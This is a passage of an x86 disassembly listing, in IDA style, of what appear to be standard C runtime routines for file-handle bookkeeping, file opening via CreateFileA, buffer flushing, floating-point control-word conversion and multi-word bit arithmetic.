		pop	esi
		pop	ebx
		retn
sub_41DBDC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC71	proc near		; CODE XREF: sub_41DDF6+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_46CA60
		push	edi
		jnb	short loc_41DCD1
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:46C960h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41DCD1
		cmp	dword_437F14, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41DCC7
		sub	eax, 0
		jz	short loc_41DCBE
		dec	eax
		jz	short loc_41DCB9
		dec	eax
		jnz	short loc_41DCC7
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41DCC1
; ---------------------------------------------------------------------------


loc_41DCB9:				; CODE XREF: sub_41DC71+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41DCC1
; ---------------------------------------------------------------------------


loc_41DCBE:				; CODE XREF: sub_41DC71+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_41DCC1:				; CODE XREF: sub_41DC71+46j
					; sub_41DC71+4Bj
		call	dword_421024	; SetStdHandle


loc_41DCC7:				; CODE XREF: sub_41DC71+36j
					; sub_41DC71+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41DCE5
; ---------------------------------------------------------------------------


loc_41DCD1:				; CODE XREF: sub_41DC71+Cj
					; sub_41DC71+28j
		and	dword_46B638, 0
		mov	dword_46B634, 9
		or	eax, 0FFFFFFFFh


loc_41DCE5:				; CODE XREF: sub_41DC71+5Ej
		pop	edi
		pop	esi
		retn
sub_41DC71	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DCE8	proc near		; CODE XREF: sub_4185EB+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_46CA60
		push	edi
		jnb	short loc_41DD4B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:46C960h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41DD4B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41DD4B
		cmp	dword_437F14, 1
		jnz	short loc_41DD41
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41DD38
		dec	ecx
		jz	short loc_41DD33
		dec	ecx
		jnz	short loc_41DD41
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41DD3B
; ---------------------------------------------------------------------------


loc_41DD33:				; CODE XREF: sub_41DCE8+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41DD3B
; ---------------------------------------------------------------------------


loc_41DD38:				; CODE XREF: sub_41DCE8+3Ej
		push	eax
		push	0FFFFFFF6h


loc_41DD3B:				; CODE XREF: sub_41DCE8+49j
					; sub_41DCE8+4Ej
		call	dword_421024	; SetStdHandle


loc_41DD41:				; CODE XREF: sub_41DCE8+38j
					; sub_41DCE8+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41DD5F
; ---------------------------------------------------------------------------


loc_41DD4B:				; CODE XREF: sub_41DCE8+Cj
					; sub_41DCE8+2Aj ...
		and	dword_46B638, 0
		mov	dword_46B634, 9
		or	eax, 0FFFFFFFFh


loc_41DD5F:				; CODE XREF: sub_41DCE8+61j
		pop	edi
		pop	esi
		retn
sub_41DCE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD62	proc near		; CODE XREF: sub_4185EB+32p
					; sub_4185EB+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_46CA60
		jnb	short loc_41DD8A
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_46C960[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41DD8A
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41DD8A:				; CODE XREF: sub_41DD62+Aj
					; sub_41DD62+23j
		and	dword_46B638, 0
		mov	dword_46B634, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41DD62	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD9F	proc near		; CODE XREF: sub_4186C9+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_46CA60
		jnb	short loc_41DDE8
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_46C960[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41DDE8
		push	eax
		call	sub_41DD62
		pop	ecx
		push	eax
		call	dword_421020	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_41DDDD
		call	dword_421088	; RtlGetLastWin32Error
		jmp	short loc_41DDDF
; ---------------------------------------------------------------------------


loc_41DDDD:				; CODE XREF: sub_41DD9F+34j
		xor	eax, eax


loc_41DDDF:				; CODE XREF: sub_41DD9F+3Cj
		test	eax, eax
		jz	short locret_41DDF5
		mov	dword_46B638, eax


loc_41DDE8:				; CODE XREF: sub_41DD9F+Aj
					; sub_41DD9F+22j
		mov	dword_46B634, 9
		or	eax, 0FFFFFFFFh

locret_41DDF5:				; CODE XREF: sub_41DD9F+42j
		retn
sub_41DD9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DDF6	proc near		; CODE XREF: sub_4188A0+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41DE1C
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41DE27
; ---------------------------------------------------------------------------


loc_41DE1C:				; CODE XREF: sub_41DDF6+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41DE27:				; CODE XREF: sub_41DDF6+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41DE41
		test	ch, 40h
		jnz	short loc_41DE3D
		cmp	dword_46B908, eax
		jz	short loc_41DE41


loc_41DE3D:				; CODE XREF: sub_41DDF6+3Dj
		or	[ebp+var_1], 80h


loc_41DE41:				; CODE XREF: sub_41DDF6+38j
					; sub_41DDF6+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41DE79
		dec	eax
		jz	short loc_41DE70
		dec	eax
		jz	short loc_41DE67


loc_41DE52:				; CODE XREF: sub_41DDF6+9Fj
					; sub_41DDF6+E8j ...
		mov	dword_46B634, 16h
		mov	dword_46B638, ebx
		jmp	loc_41E08C
; ---------------------------------------------------------------------------


loc_41DE67:				; CODE XREF: sub_41DDF6+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41DE80
; ---------------------------------------------------------------------------


loc_41DE70:				; CODE XREF: sub_41DDF6+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41DE80
; ---------------------------------------------------------------------------


loc_41DE79:				; CODE XREF: sub_41DDF6+54j
		mov	[ebp+var_C], 80000000h


loc_41DE80:				; CODE XREF: sub_41DDF6+78j
					; sub_41DDF6+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41DEAE
		cmp	eax, 20h
		jz	short loc_41DEA5
		cmp	eax, 30h
		jz	short loc_41DE9C
		cmp	eax, 40h
		jnz	short loc_41DE52
		mov	[ebp+var_10], esi
		jmp	short loc_41DEB1
; ---------------------------------------------------------------------------


loc_41DE9C:				; CODE XREF: sub_41DDF6+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41DEB1
; ---------------------------------------------------------------------------


loc_41DEA5:				; CODE XREF: sub_41DDF6+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41DEB1
; ---------------------------------------------------------------------------


loc_41DEAE:				; CODE XREF: sub_41DDF6+90j
		mov	[ebp+var_10], ebx


loc_41DEB1:				; CODE XREF: sub_41DDF6+A4j
					; sub_41DDF6+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41DEFB
		jz	short loc_41DEF6
		cmp	ecx, ebx
		jz	short loc_41DEF6
		cmp	ecx, edi
		jz	short loc_41DEED
		cmp	ecx, 200h
		jz	short loc_41DF14
		cmp	ecx, 300h
		jnz	loc_41DE52
		mov	[ebp+var_8], 2
		jmp	short loc_41DF24
; ---------------------------------------------------------------------------


loc_41DEED:				; CODE XREF: sub_41DDF6+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41DF24
; ---------------------------------------------------------------------------


loc_41DEF6:				; CODE XREF: sub_41DDF6+D0j
					; sub_41DDF6+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41DF24
; ---------------------------------------------------------------------------


loc_41DEFB:				; CODE XREF: sub_41DDF6+CEj
		cmp	ecx, 500h
		jz	short loc_41DF1D
		cmp	ecx, 600h
		jz	short loc_41DF14
		cmp	ecx, edx
		jz	short loc_41DF1D
		jmp	loc_41DE52
; ---------------------------------------------------------------------------


loc_41DF14:				; CODE XREF: sub_41DDF6+E0j
					; sub_41DDF6+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41DF24
; ---------------------------------------------------------------------------


loc_41DF1D:				; CODE XREF: sub_41DDF6+10Bj
					; sub_41DDF6+117j
		mov	[ebp+var_8], 1


loc_41DF24:				; CODE XREF: sub_41DDF6+F5j
					; sub_41DDF6+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_41DF43
		mov	ecx, dword_46B63C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_41DF43
		push	1
		pop	esi


loc_41DF43:				; CODE XREF: sub_41DDF6+138j
					; sub_41DDF6+148j
		test	al, 40h
		jz	short loc_41DF51
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_41DF51:				; CODE XREF: sub_41DDF6+14Fj
		test	ah, 10h
		jz	short loc_41DF58
		or	esi, edi


loc_41DF58:				; CODE XREF: sub_41DDF6+15Ej
		test	al, 20h
		jz	short loc_41DF64
		or	esi, 8000000h
		jmp	short loc_41DF6E
; ---------------------------------------------------------------------------


loc_41DF64:				; CODE XREF: sub_41DDF6+164j
		test	al, 10h
		jz	short loc_41DF6E
		or	esi, 10000000h


loc_41DF6E:				; CODE XREF: sub_41DDF6+16Cj
					; sub_41DDF6+170j
		call	sub_41DBDC
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_41DF8F
		and	dword_46B638, 0
		mov	dword_46B634, 18h
		jmp	short loc_41DFCD
; ---------------------------------------------------------------------------


loc_41DF8F:				; CODE XREF: sub_41DDF6+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_421078	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41DFC0
		push	esi
		call	dword_421030	; GetFileType
		test	eax, eax
		jnz	short loc_41DFD4
		push	esi
		call	dword_42106C	; CloseHandle


loc_41DFC0:				; CODE XREF: sub_41DDF6+1B6j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		call	sub_41CE74
		pop	ecx


loc_41DFCD:				; CODE XREF: sub_41DDF6+197j
		mov	eax, edi
		jmp	loc_41E0AA
; ---------------------------------------------------------------------------


loc_41DFD4:				; CODE XREF: sub_41DDF6+1C1j
		cmp	eax, 2
		jnz	short loc_41DFDF
		or	[ebp+var_1], 40h
		jmp	short loc_41DFE8
; ---------------------------------------------------------------------------


loc_41DFDF:				; CODE XREF: sub_41DDF6+1E1j
		cmp	eax, 3
		jnz	short loc_41DFE8
		or	[ebp+var_1], 8


loc_41DFE8:				; CODE XREF: sub_41DDF6+1E7j
					; sub_41DDF6+1ECj
		push	esi
		push	ebx
		call	sub_41DC71
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:46C960h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_41E091
		test	al, 80h
		jz	short loc_41E091
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_41E091
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41C447
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41E046
		cmp	dword_46B638, 83h
		jz	short loc_41E091
		jmp	short loc_41E085
; ---------------------------------------------------------------------------


loc_41E046:				; CODE XREF: sub_41DDF6+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41C251
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E073
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_41E073
		push	[ebp+var_10]
		push	ebx
		call	sub_41F120
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E085


loc_41E073:				; CODE XREF: sub_41DDF6+265j
					; sub_41DDF6+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41C447
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41E091


loc_41E085:				; CODE XREF: sub_41DDF6+24Ej
					; sub_41DDF6+27Bj
		push	ebx
		call	sub_4185EB
		pop	ecx


loc_41E08C:				; CODE XREF: sub_41DDF6+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E0AA
; ---------------------------------------------------------------------------


loc_41E091:				; CODE XREF: sub_41DDF6+221j
					; sub_41DDF6+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41E0A8
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_41E0A8
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_41E0A8:				; CODE XREF: sub_41DDF6+29Fj
					; sub_41DDF6+2A5j
		mov	eax, ebx


loc_41E0AA:				; CODE XREF: sub_41DDF6+1D9j
					; sub_41DDF6+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DDF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0AF	proc near		; CODE XREF: sub_41A43E+52p
		xor	eax, eax
		retn
sub_41E0AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0B2	proc near		; CODE XREF: sub_41E0E7+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41E0FD
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_41E18F
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41E0B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0E7	proc near		; CODE XREF: sub_41A72A+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_41E0B2
		pop	ecx
		pop	ecx
		retn
sub_41E0E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0FD	proc near		; CODE XREF: sub_41E0B2+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_41E10E
		push	10h
		pop	eax


loc_41E10E:				; CODE XREF: sub_41E0FD+Cj
		test	bl, 4
		jz	short loc_41E115
		or	al, 8


loc_41E115:				; CODE XREF: sub_41E0FD+14j
		test	bl, 8
		jz	short loc_41E11C
		or	al, 4


loc_41E11C:				; CODE XREF: sub_41E0FD+1Bj
		test	bl, 10h
		jz	short loc_41E123
		or	al, 2


loc_41E123:				; CODE XREF: sub_41E0FD+22j
		test	bl, 20h
		jz	short loc_41E12A
		or	al, 1


loc_41E12A:				; CODE XREF: sub_41E0FD+29j
		test	bl, 2
		jz	short loc_41E134
		or	eax, 80000h


loc_41E134:				; CODE XREF: sub_41E0FD+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41E16C
		cmp	edx, 400h
		jz	short loc_41E169
		cmp	edx, 800h
		jz	short loc_41E165
		cmp	edx, esi
		jnz	short loc_41E16C
		or	eax, edi
		jmp	short loc_41E16C
; ---------------------------------------------------------------------------


loc_41E165:				; CODE XREF: sub_41E0FD+5Ej
		or	eax, ebp
		jmp	short loc_41E16C
; ---------------------------------------------------------------------------


loc_41E169:				; CODE XREF: sub_41E0FD+56j
		or	ah, 1


loc_41E16C:				; CODE XREF: sub_41E0FD+4Ej
					; sub_41E0FD+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_41E17C
		cmp	ecx, ebp
		jnz	short loc_41E181
		or	eax, 10000h
		jmp	short loc_41E181
; ---------------------------------------------------------------------------


loc_41E17C:				; CODE XREF: sub_41E0FD+72j
		or	eax, 20000h


loc_41E181:				; CODE XREF: sub_41E0FD+76j
					; sub_41E0FD+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_41E18E
		or	eax, 40000h

locret_41E18E:				; CODE XREF: sub_41E0FD+8Aj
		retn
sub_41E0FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E18F	proc near		; CODE XREF: sub_41E0B2+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_41E19F
		push	1
		pop	eax


loc_41E19F:				; CODE XREF: sub_41E18F+Bj
		test	bl, 8
		jz	short loc_41E1A6
		or	al, 4


loc_41E1A6:				; CODE XREF: sub_41E18F+13j
		test	bl, 4
		jz	short loc_41E1AD
		or	al, 8


loc_41E1AD:				; CODE XREF: sub_41E18F+1Aj
		test	bl, 2
		jz	short loc_41E1B4
		or	al, 10h


loc_41E1B4:				; CODE XREF: sub_41E18F+21j
		test	bl, 1
		jz	short loc_41E1BB
		or	al, 20h


loc_41E1BB:				; CODE XREF: sub_41E18F+28j
		test	ebx, 80000h
		jz	short loc_41E1C5
		or	al, 2


loc_41E1C5:				; CODE XREF: sub_41E18F+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_41E1F2
		cmp	ecx, 100h
		jz	short loc_41E1EF
		cmp	ecx, esi
		jz	short loc_41E1EA
		cmp	ecx, edx
		jnz	short loc_41E1F2
		or	ah, 0Ch
		jmp	short loc_41E1F2
; ---------------------------------------------------------------------------


loc_41E1EA:				; CODE XREF: sub_41E18F+50j
		or	ah, 8
		jmp	short loc_41E1F2
; ---------------------------------------------------------------------------


loc_41E1EF:				; CODE XREF: sub_41E18F+4Cj
		or	ah, 4


loc_41E1F2:				; CODE XREF: sub_41E18F+44j
					; sub_41E18F+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41E208
		cmp	ecx, 10000h
		jnz	short loc_41E20A
		or	eax, esi
		jmp	short loc_41E20A
; ---------------------------------------------------------------------------


loc_41E208:				; CODE XREF: sub_41E18F+6Bj
		or	eax, edx


loc_41E20A:				; CODE XREF: sub_41E18F+73j
					; sub_41E18F+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_41E217
		or	ah, 10h

locret_41E217:				; CODE XREF: sub_41E18F+83j
		retn
sub_41E18F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E218	proc near		; CODE XREF: sub_41E2B7+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_41E25D
		inc	esi
		cmp	esi, 3
		jge	short loc_41E258
		lea	eax, [eax+esi*4]


loc_41E24A:				; CODE XREF: sub_41E218+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_41E25D
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_41E24A


loc_41E258:				; CODE XREF: sub_41E218+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E25D:				; CODE XREF: sub_41E218+27j
					; sub_41E218+35j
		xor	eax, eax
		pop	esi
		retn
sub_41E218	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E261	proc near		; CODE XREF: sub_41E2B7+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_41F266
		add	esp, 0Ch
		dec	esi
		js	short loc_41E2B3
		lea	edi, [ebx+esi*4]


loc_41E29A:				; CODE XREF: sub_41E261+50j
		test	eax, eax
		jz	short loc_41E2B3
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_41F266
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41E29A


loc_41E2B3:				; CODE XREF: sub_41E261+34j
					; sub_41E261+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E261	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E2B7	proc near		; CODE XREF: sub_41E412+81p
					; sub_41E412+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_41E31B
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_41E218
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41E318
		push	edi
		push	[ebp+arg_0]
		call	sub_41E261
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_41E318:				; CODE XREF: sub_41E2B7+51j
		mov	eax, [ebp+arg_4]


loc_41E31B:				; CODE XREF: sub_41E2B7+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_41E33B
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_41E33B:				; CODE XREF: sub_41E2B7+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E2B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E343	proc near		; CODE XREF: sub_41E412+75p
					; sub_41E412+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_41E351:				; CODE XREF: sub_41E343+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_41E351
		pop	esi
		retn
sub_41E343	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E35E	proc near		; CODE XREF: sub_41E412+5Fp
					; sub_41E412+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41E35E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E36A	proc near		; CODE XREF: sub_41E412+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_41E370:				; CODE XREF: sub_41E36A+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_41E382
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_41E370
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41E382:				; CODE XREF: sub_41E36A+9j
		xor	eax, eax
		retn
sub_41E36A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E385	proc near		; CODE XREF: sub_41E412+C0p
					; sub_41E412+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_41E3BB:				; CODE XREF: sub_41E385+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_41E3BB
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_41E3ED:				; CODE XREF: sub_41E385+86j
		cmp	ebx, edi
		jl	short loc_41E400
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_41E407
; ---------------------------------------------------------------------------


loc_41E400:				; CODE XREF: sub_41E385+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_41E407:				; CODE XREF: sub_41E385+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_41E3ED
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E385	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E412	proc near		; CODE XREF: sub_41E57E+Dp
					; sub_41E594+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_41E47F
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_41E36A
		test	eax, eax
		pop	ecx
		jnz	loc_41E53E
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E35E
		pop	ecx


